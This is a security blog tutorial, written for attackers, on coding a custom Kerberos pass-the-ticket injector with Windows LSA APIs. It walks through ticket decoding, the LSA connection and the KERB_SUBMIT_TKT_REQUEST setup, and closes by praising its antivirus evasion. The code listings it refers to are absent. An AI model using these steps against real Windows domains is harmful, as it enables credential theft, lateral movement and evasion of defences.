Goodbye Mimikatz! Inject tickets with your own hands

My previous article discusses in detail Authentication Packages and Security Packages and explains how they can be used to intercept user passwords. But that’s definitely not enough, right? The next step is to inject Kerberos tickets and deliver pass-the-ticket attacks. And, of course, this has to be done without Mimikatz or Impacket. The only tool you are going to use is the standard Win32 API.

Getting a ticket

An attacker can get a ticket in the Base64 format, for instance, in a dump. However, in its ‘raw’ form, a ticket can contain nonprintable characters, and you’ll see some nonsense on the display. Accordingly, to inject workable tickets, your program must be able to decode received strings. Let’s create a file called stuff.h and implement in it a simple function to decode Base64 values. In addition, I am going to place there all header files that will be required in the future.

Command line arguments will be used to pass tickets to the program. Let’s create a file Source.cpp with the following content:

This source code file extracts a base64-encoded ticket that was passed to the tool as the second command line argument. The first argument is the program name: for instance, if you call prog.exe 123, argv[0] will be prog.exe; while argv[1], 123. Then you call the decoder function and check whether the size has changed. If the size is different, it means that something has been decoded (and maybe even successfully).

Connecting to LSA

The LSA service process stores all tickets in its address space. Kerberos.dll that is loaded into the lsass.exe process implements all functions of the protocol of the same name. Important: to comprehend the information below, you should be able to distinguish TGT from TGS and understand the Kerberos operation principle (at least in general).

It’s not a big deal to connect to LSA; two special functions can be used for this purpose.

The first one makes it possible to get a handle to LSA on behalf of the logon process. This function is called, for instance, by winlogon.exe during user logon. The handle gained this way enables you to use LSA for authentication and control over the user logon process and access management.

The second function is pretty simple: you connect to LSA on behalf of an ‘untrusted’ process. Of course, in this case you won’t be able to use LSA for authentication, but you still can use it for simple interaction with loaded authentication packets, which makes it preferable for your purposes.

Here you get a handle to the LSA, and then check whether the function has done its job successfully using the previously created macro NT_SUCCESS() (contained in stuff.h).

If something goes wrong, the program calls LsaNtStatusToWinError(). This function converts the weird function error code into a human-understandable error code. To find out what’s wrong, copy the received value and compare it with errors listed in the Microsoft documentation.

Let’s find the AP

LSA identifies each Authentication Package by a special number (ID); based on this ID, the system understands what it should interact with to implement its security functions. This numerical value is absolutely random; it’s assigned by LSA and stored there until the system reboot. To retrieve this number, use the LsaLookupAuthenticationPackage() function.

The LSA handle obtained by calling LsaConnectUntrusted() is passed as the first parameter, and then problems begin. The function asks you to pass to it the LSA_STRING structure that looks as shown below:

It took me some time and effort to initialize it correctly. Therefore, to avoid such hassle in the future, I created a simple function that takes the authentication package name and returns the completed structure:

If the call was successful, LSA will return to you the much-desired ID of the Kerberos AP required to interact with Kerberos.dll via LSA.

Ticket injection

Now you have to inject the Kerberos ticket into the respective AP to initialize it. For interaction with a specific AP, LSA has a function called LsaCallAuthenticationPackage(), and the tool uses it to inject tickets:

The first parameter is the same LSA handle as in the previous functions; the second one is the authentication package ID. Next, you have to pass the information that must be submitted to the authentication package (in this particular case, it’s a TGT ticket) to ProtocolSubmitBuffer and SubmitBufferLength. The AP itself can put the data it wants to return to the program into ProtocolReturnBuffer and ReturnBufferLength. Finally, the last parameter returns the error identifier.

Too bad, you cannot simply ‘insert’ a ticket into this function call. At this stage, your ticket is stored in the kirbiTicket variable. First you have to generate a KERB_SUBMIT_TKT_REQUEST structure:

The following parameters are used:

• MessageType – defines the types of messages that can be send to the Kerberos AP. To inject a ticket, KerbSubmitTicketMessage will be passed. As a result, the dispatch routine gets the tickets from the KDC and updates the ticket cache;
• LogonId – a unique current session ID enabling the AP to identify the session to apply the ticket to (if not specified, the Kerberos AP will identify the LUID on its own);
• Flags – additional flags;
• Key – a structure containing information about a Kerberos cryptographic session key; and 
• KerbCredSize and KerbCredOffset – to inject a ticket, the ticket size is passed to the first parameter; while the offset, to the second one. The offset determines the size of this structure. Since you are going to pass to the AP both the ticket and the structure, the AP must know the offset of the ticket.

A correct ticket injection into a Kerberos AP looks as follows:

First, you calculate the total size of the data to be passed to the AP: the size of the KERB_SUBMIT_TGT_REQUEST structure (so that the AP understands what you need from it) plus the ticket size. Next, memory is allocated for this structure, and then its elements are initialized.

The size of the structure is stored in pKerbSubmit->KerbCredOffset so that Kerberos knows that a ticket whose size is pKerbSubmit->KerbCredSize (KirbiSize) will be located at the address pKerbSubmit + pKerbSubmit->KerbCredOffset. Next, you copy the ticket to the calculated address, call the AP, and pass the initialized structure. Then you check the error code twice. The first error code (status) indicates a potential problem that could occur when the function was called (e.g. if lsa_handle was invalid). The second code (packageStatus) is the AP error code (e.g. if you have passed an incorrect size).

A separate block checks for the ERROR_TIME_SKEW error that occurs due to a discrepancy in time (more than five minutes) between the host and the KDC. If such a discrepancy is present, then the TGT ticket cannot be updated since it’s impossible to correctly pass the pre-authentication stage. Such a ticket can be used, but only until it gets ‘spoiled’. By default, the lifetime of a TGT ticket is 10 hours.

After that, the ticket can be successfully injected into the lsass.exe process and you’ll be able to use it. Using the LsaDeregisterLogonProcess() function, you simply release the LSA handle.

Validation

Time to check the functionality of the tool. Its full code is available on GitHub. First, you need a valid TGT ticket (you can get it in any suitable way, for instance, using Rubeus):

Then you switch to another system and perform an injection:

Conclusions

Plenty of attacks can be implemented without popular and widely known hacker tools. This approach has an important advantage: the unique code that uses legitimate APIs and its absence in signature databases make it possible to easily circumvent antivirus software. I uploaded my project to VirusTotal ‘as is’, without any obfuscation or protection (i.e. with all its suspicious lines, including [+] Injected), and got only three detections.

As you understand, if you upload there Mimikatz, Rubeus, or any other ticket injection tool, the number of detections would be an order of magnitude higher.